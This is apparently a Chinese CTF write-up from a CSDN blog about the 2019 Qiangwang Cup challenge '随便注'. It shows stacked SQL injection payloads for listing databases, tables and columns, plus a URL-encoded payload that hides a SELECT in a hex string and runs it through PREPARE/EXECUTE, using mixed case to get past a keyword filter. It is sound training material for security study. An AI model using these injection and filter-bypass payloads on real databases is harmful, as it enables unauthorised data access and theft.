强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入。
1';show databases; #
1';show tables; # 发现两个表1919810931114514、words
依次查询两张表的字段
1'; show columns from 表名; #
不过有点问题,只有words有回显。(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段)
大佬wp展示了一手存储过程绕过
payload:
http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
@a变量的16进制值转换一下,看看什么意思
————————————————
版权声明:本文为CSDN博主「wuerror」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_40871137/article/details/94349532